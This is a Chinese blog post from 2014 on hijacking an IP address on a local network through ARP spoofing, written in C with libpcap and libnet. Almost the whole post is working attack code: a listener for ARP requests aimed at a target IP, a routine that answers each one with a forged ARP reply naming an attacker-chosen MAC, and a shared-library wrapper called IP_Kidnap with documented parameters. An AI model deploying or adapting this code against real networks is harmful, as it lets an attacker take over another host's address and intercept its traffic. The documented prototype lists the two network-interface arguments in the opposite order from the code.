基于ARP的局域网IP劫持——C语言实现

 

  我站在 烈烈风中

  恨不能 荡尽绵绵心痛

  望苍天 四方云动

  剑在手

  问天下谁是英雄

——《霸王别姬》

 

  阅读这篇文章之前,请确认已经熟悉ARP报文伪造的方法,可参考《ARP数据包伪造》。  

  请看下图,这是全篇文章的鸟瞰:

  要想实现上图的工作流程,必须实现两个模块:

    •自由的伪造ARP报文

    •抓取并分析所有流经网卡的数据包

  从上图中可以看出,我们可以通过BPF或者DLPI层实现数据包的抓取分析,而tcpdump的根基——libpcap库,正是对BPF层的二次封装实现的C库,我们将通过它来实现数据包的抓取分析。 

  关于libpcap的基础使用,请参考这篇文章《libpcap使用》。 

  下面给出一个简单的libpcap过滤抓包的程序:

 1 #include <pcap.h>
 2 #include <time.h>
 3 #include <stdlib.h>
 4 #include <stdio.h>
 5 
 6 unsigned char glTargetIP[4]={192,168,1,99};
 7 char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
 8 unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };
 9 char * glNICStr="eth2";
10 
11 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
12 {
13   int * id = (int *)arg;
14   unsigned char * src_ip =glTargetIP;
15   unsigned char * src_mac=glRetargetMac;
16   unsigned char * dst_ip =packet+28;
17   unsigned char * dst_mac=packet+22;
18 
19   printf("id: %d\n", ++(*id));
20   printf("Packet length: %d\n", pkthdr->len);
21   printf("Number of bytes: %d\n", pkthdr->caplen);
22   printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); 
23   
24   int i;
25   for(i=0; i<pkthdr->len; ++i)
26   {
27     printf(" %02x", packet[i]);
28     if( (i + 1) % 16 == 0 )
29     {
30       printf("\n");
31     }
32   }
33   
34   printf("\n\n");
35 }
36 
37 int main ()
38 {
39   char errBuf[PCAP_ERRBUF_SIZE], * devStr;
40   struct bpf_program filter;
41 
42   /* get a device */
43   devStr = pcap_lookupdev(errBuf);
44   
45   if(devStr)
46   {
47     printf("success: device: %s\n", devStr);
48   }
49   else
50   {
51     printf("error: %s\n", errBuf);
52     exit(1);
53   }
54   
55   /* open a device, wait until a packet arrives */
56   pcap_t * device = pcap_open_live(glNICStr, 65535, 1, 0, errBuf);
57   
58   if(!device)
59   {
60     printf("error: pcap_open_live(): %s\n", errBuf);
61     exit(1);
62   }
63   /* set filter */
64   pcap_compile( device,&filter,glBpfCmd,1,0 );  
65   pcap_setfilter(device ,&filter );
66   /* wait loop forever */
67   int id = 0;
68   pcap_loop(device, -1, getPacket, (u_char*)&id);
69   
70   pcap_close(device);
71 
72   return 0;
73 }
View Code
gcc name.c -lpcap -o name

  结合ARP报文伪造模块,下面给出完整实现代码:

  1 #include <pcap.h>
  2 #include <time.h>
  3 #include <stdlib.h>
  4 #include <stdio.h>
  5 
  6 #include <stdio.h>
  7 #include <stdlib.h>
  8 #include <string.h>
  9 #include <unistd.h>
 10 #include <libnet.h>
 11 
 12 #define MAC_ADDR_LEN 6
 13 #define IP_ADDR_LEN 4
 14 
 15 
 16 unsigned char glTargetIP[4]={192,168,1,99};
 17 char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
 18 unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };
 19 char * glNICStr="eth2";
 20 
 21 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
 22     unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
 23  {
 24          static char padPtr[18];
 25          libnet_t *net_t = NULL; 
 26          char err_buf[LIBNET_ERRBUF_SIZE];
 27          libnet_ptag_t p_tag; 
 28          unsigned int i=0;
 29  
 30          printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
 31          printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip);
 32          
 33          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
 34          if(net_t == NULL)
 35          {
 36                  printf("libnet_init error\n");
 37                  return 2;
 38          }
 39  
 40          p_tag = libnet_build_arp(
 41                          ARPHRD_ETHER,//hardware type ethernet
 42                          ETHERTYPE_IP,//protocol type
 43                          MAC_ADDR_LEN,//mac length
 44                          IP_ADDR_LEN,//protocol length
 45                          arpOp,//op type
 46                          (u_int8_t *)src_mac,//source mac addr
 47                          (u_int8_t *)src_ip,//source ip addr
 48                          (u_int8_t *)dst_mac,//dest mac addr
 49                          (u_int8_t *)dst_ip,//dest ip  addr
 50                          padPtr,//payload
 51                          18,//payload length
 52                          net_t,//libnet context
 53                          0//0 stands to build a new one
 54          );
 55          
 56          if(-1 == p_tag)
 57          {
 58                  printf("libnet_build_arp error\n");
 59                  libnet_destroy(net_t);
 60                  return 3;
 61          }
 62  
 63          p_tag = libnet_build_ethernet(//create ethernet header
 64                          (u_int8_t *)dst_mac,//dest mac addr
 65                          (u_int8_t *)src_mac,//source mac addr
 66                          ETHERTYPE_ARP,//protocol type
 67                         padPtr,//payload
 68                         0,//payload length
 69                          net_t,//libnet context
 70                          0//0 to build a new one
 71          );
 72  
 73          if(-1 == p_tag)
 74          {
 75                  printf("libnet_build_ethernet error!\n");
 76                  libnet_destroy(net_t);
 77                  return 4;
 78          }
 79          
 80          int res;
 81          i=0;
 82          for(;i<sendTimes;i++)
 83            if(-1 == (res = libnet_write(net_t)))
 84            {
 85                  printf("libnet_write error!\n");
 86                  libnet_destroy(net_t);
 87                  return 5;
 88            }
 89          
 90          libnet_destroy(net_t);
 91          return 0;
 92  FAIL:        
 93          libnet_destroy(net_t);
 94                  return 6;
 95  }
 96 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
 97 {
 98   int * id = (int *)arg;
 99   unsigned char * src_ip =glTargetIP;
100   unsigned char * src_mac=glRetargetMac;
101   unsigned char * dst_ip =packet+28;
102   unsigned char * dst_mac=packet+22;
103   
104   ForgeAndSendArp(glNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,1); 
105 
106   printf("id: %d\n", ++(*id));
107   printf("Packet length: %d\n", pkthdr->len);
108   printf("Number of bytes: %d\n", pkthdr->caplen);
109   printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); 
110   
111   int i;
112   for(i=0; i<pkthdr->len; ++i)
113   {
114     printf(" %02x", packet[i]);
115     if( (i + 1) % 16 == 0 )
116     {
117       printf("\n");
118     }
119   }
120   
121   printf("\n\n");
122 }
123 
124 int main ()
125 {
126   char errBuf[PCAP_ERRBUF_SIZE], * devStr;
127   struct bpf_program filter;
128 
129   /* get a device */
130   devStr = pcap_lookupdev(errBuf);
131   
132   if(devStr)
133   {
134     printf("success: device: %s\n", devStr);
135   }
136   else
137   {
138     printf("error: %s\n", errBuf);
139     exit(1);
140   }
141   
142   /* open a device, wait until a packet arrives */
143   pcap_t * device = pcap_open_live(glNICStr, 65535, 1, 0, errBuf);
144   
145   if(!device)
146   {
147     printf("error: pcap_open_live(): %s\n", errBuf);
148     exit(1);
149   }
150   /* set filter */
151   pcap_compile( device,&filter,glBpfCmd,1,0 );  
152   pcap_setfilter(device ,&filter );
153   /* wait loop forever */
154   int id = 0;
155   pcap_loop(device, -1, getPacket, (u_char*)&id);
156   
157   pcap_close(device);
158 
159   return 0;
160 }
View Code

 这个工具的验证结果已经在文章鸟瞰图中给出。

 下面,我们将这段代码封装成为一个共享库,以供其他程序调用。 

  1 //  # gcc name.c -lnet -lpcap -shared -fPIC -o name.so
  2 #include <pcap.h>
  3 #include <time.h>
  4 #include <stdlib.h>
  5 #include <stdio.h>
  6 
  7 #include <stdio.h>
  8 #include <stdlib.h>
  9 #include <string.h>
 10 #include <unistd.h>
 11 #include <libnet.h>
 12 
 13 #define MAC_ADDR_LEN 6
 14 #define IP_ADDR_LEN 4
 15 
 16 
 17 static unsigned char * glTargetIP;
 18 static char * glBpfCmd;
 19 static unsigned char * glRetargetMac;
 20 static char * glListenNICStr;
 21 static char * glSendNICStr;
 22 
 23 
 24 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
 25     unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
 26  {
 27          static char padPtr[18];
 28          libnet_t *net_t = NULL; 
 29          char err_buf[LIBNET_ERRBUF_SIZE];
 30          libnet_ptag_t p_tag; 
 31          unsigned int i=0;
 32  
 33          printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
 34          printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip);
 35          
 36          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
 37          if(net_t == NULL)
 38          {
 39                  printf("libnet_init error\n");
 40                  return 2;
 41          }
 42  
 43          p_tag = libnet_build_arp(
 44                          ARPHRD_ETHER,//hardware type ethernet
 45                          ETHERTYPE_IP,//protocol type
 46                          MAC_ADDR_LEN,//mac length
 47                          IP_ADDR_LEN,//protocol length
 48                          arpOp,//op type
 49                          (u_int8_t *)src_mac,//source mac addr
 50                          (u_int8_t *)src_ip,//source ip addr
 51                          (u_int8_t *)dst_mac,//dest mac addr
 52                          (u_int8_t *)dst_ip,//dest ip  addr
 53                          padPtr,//payload
 54                          18,//payload length
 55                          net_t,//libnet context
 56                          0//0 stands to build a new one
 57          );
 58          
 59          if(-1 == p_tag)
 60          {
 61                  printf("libnet_build_arp error\n");
 62                  libnet_destroy(net_t);
 63                  return 3;
 64          }
 65  
 66          p_tag = libnet_build_ethernet(//create ethernet header
 67                          (u_int8_t *)dst_mac,//dest mac addr
 68                          (u_int8_t *)src_mac,//source mac addr
 69                          ETHERTYPE_ARP,//protocol type
 70                         padPtr,//payload
 71                         0,//payload length
 72                          net_t,//libnet context
 73                          0//0 to build a new one
 74          );
 75  
 76          if(-1 == p_tag)
 77          {
 78                  printf("libnet_build_ethernet error!\n");
 79                  libnet_destroy(net_t);
 80                  return 4;
 81          }
 82          
 83          int res;
 84          i=0;
 85          for(;i<sendTimes;i++)
 86            if(-1 == (res = libnet_write(net_t)))
 87            {
 88                  printf("libnet_write error!\n");
 89                  libnet_destroy(net_t);
 90                  return 5;
 91            }
 92          
 93          libnet_destroy(net_t);
 94          return 0;
 95  FAIL:        
 96          libnet_destroy(net_t);
 97                  return 6;
 98  }
 99 void static getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
100 {
101   int * id = (int *)arg;
102   unsigned char * src_ip =glTargetIP;
103   unsigned char * src_mac=glRetargetMac;
104   unsigned char * dst_ip =packet+28;
105   unsigned char * dst_mac=packet+22;
106   
107   ForgeAndSendArp(glSendNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,1); 
108 
109   printf("id: %d\n", ++(*id));
110   printf("Packet length: %d\n", pkthdr->len);
111   printf("Number of bytes: %d\n", pkthdr->caplen);
112   printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); 
113   
114   int i;
115   for(i=0; i<pkthdr->len; ++i)
116   {
117     printf(" %02x", packet[i]);
118     if( (i + 1) % 16 == 0 )
119     {
120       printf("\n");
121     }
122   }
123   
124   printf("\n\n");
125 }
126 
127 /* args example
128 static unsigned char glTargetIP[4]={192,168,1,99};
129 static char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
130 static unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };
131 static char * glListenNICStr="eth2";
132 static char * glSendNICStr="eth2";
133 */
134 int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,
135           unsigned char * RetargetMac,char * sendNICStr ,char * listenNICStr  )
136 {
137   char errBuf[PCAP_ERRBUF_SIZE], * devStr;
138   struct bpf_program filter;
139   glTargetIP=TargetIP;
140   glBpfCmd=BpfCmd;
141   glRetargetMac=RetargetMac;
142   glSendNICStr=sendNICStr;
143   glListenNICStr=listenNICStr;
144 
145   /* get a device */
146   devStr = pcap_lookupdev(errBuf);
147   
148   if(devStr)
149   {
150     printf("success: device: %s\n", devStr);
151   }
152   else
153   {
154     printf("error: %s\n", errBuf);
155     exit(1);
156   }
157   
158   /* open a device, wait until a packet arrives */
159   pcap_t * device = pcap_open_live(glListenNICStr, 65535, 1, 0, errBuf);
160   
161   if(!device)
162   {
163     printf("error: pcap_open_live(): %s\n", errBuf);
164     exit(1);
165   }
166   /* set filter */
167   pcap_compile( device,&filter,glBpfCmd,1,0 );  
168   pcap_setfilter(device ,&filter );
169   /* wait loop forever */
170   int id = 0;
171   pcap_loop(device, -1, getPacket, (u_char*)&id);
172   
173   pcap_close(device);
174 
175   return 0;
176 }

  编译后的结果:

  函数原型:

int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
    unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
/*
  dev : pointer to nic name, "eth0" for example.
  src_mac : pointer to uchar array[6],like'unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
  dst_mac : similar as src_mac
  src_ip : pointer to uchar array[4],like'unsigned char glTargetIP[4]={192,168,1,99};'
  dst_ip : similar as src_ip
  arpOp : ARPOP_REQUEST for 1,ARPOP_REPLY for 2,i.e.
  sendTimes : how many times this packet you want to send
*/
int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,
          unsigned char * RetargetMac ,char * listenNICStr ,char * sendNICStr  )
/*
TargetIP: the IP you want kidnap, like ' unsigned char TargetIP[4]={192,168,1,99}; '
BpfCmd : bpf filter cmd,like 'char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";'
RetargetMac: which mac addr you want to retarget, like ' unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
ListenNICStr: which nic you want listen,like ' char * glListenNICStr="eth2";'
SendNICStr : which nic you want the forged-packet send out,like ' char * glSendNICStr="eth2";'
*/

 

  附录:

    参考文章 《libpcap使用》 《ARP数据包伪造

 

posted @ 2014-04-26 11:44  燕云  阅读(2834)  评论(0编辑  收藏  举报